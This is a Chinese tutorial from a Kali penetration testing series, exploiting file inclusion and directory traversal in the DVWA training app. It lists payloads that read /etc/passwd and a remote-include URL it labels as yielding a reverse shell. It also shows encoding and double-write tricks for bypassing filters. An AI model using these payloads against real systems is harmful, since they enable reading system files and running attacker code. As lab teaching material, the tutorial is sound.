Kali渗透测试(八)——DVWA文件包含/目录遍历漏洞利用 Directory traversal/File include

Kali渗透测试(八)——DVWA文件包含/目录遍历漏洞利用

一.文件包含简介

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

文件包含函数
PHP中文件包含函数有以下四种:

require()

require_once()

include()

include_once()

include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

漏洞产生原因:
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

二.实验

1.DVWA low级别,并没有任何过滤
Kali渗透测试(八)——DVWA文件包含/目录遍历漏洞利用 Directory traversal/File include_第1张图片
文件包含常用payload:

?file=../../../../etc/passwd
?page=file:///etc/passwd #利用系统文件路径
?home=main.cgi
?page=http://www.a.com/1.php #反弹shell
http://1.1.1.1/../../../../dir/file.txt

payload:http://192.168.10.136/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
ok能够访问到系统用户和密码文件。【注:文件】
Kali渗透测试(八)——DVWA文件包含/目录遍历漏洞利用 Directory traversal/File include_第2张图片
报错可以进行url编码:
1."." “%00” 绕过文件扩展名过滤
2.url 编码 …/ 编码为 %2e%2e%2f
Kali渗透测试(八)——DVWA文件包含/目录遍历漏洞利用 Directory traversal/File include_第3张图片
2.medium 级别,做了字符替换防止远程文件包含不过也可以绕过
Kali渗透测试(八)——DVWA文件包含/目录遍历漏洞利用 Directory traversal/File include_第4张图片
1.编码http
2.hthttptp:// 因为只转换一次
在这里插入图片描述

3.high级别,只允许访问include.php 这个就木有办法了
Kali渗透测试(八)——DVWA文件包含/目录遍历漏洞利用 Directory traversal/File include_第5张图片

4.利用cookie 文件包含

5本地文件包含也可以执行代码

你可能感兴趣的:(kali,安全)